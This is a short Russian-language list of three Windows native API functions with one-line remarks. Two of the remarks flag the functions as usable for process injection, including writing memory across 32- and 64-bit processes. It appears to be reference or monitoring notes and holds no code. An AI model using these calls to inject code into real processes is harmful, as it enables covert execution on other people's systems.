  • NtSetInformationThread - позволяет изменить контекст потока (из 64-битного процесса в 32-битном)
  • NtWriteVirtualMemory - потенциально может использоватся для инжекта
  • NtWow64WriteVirtualMemory64 - пишет из 32-битного в 64-битный процесс, так же может быть использован для инжекта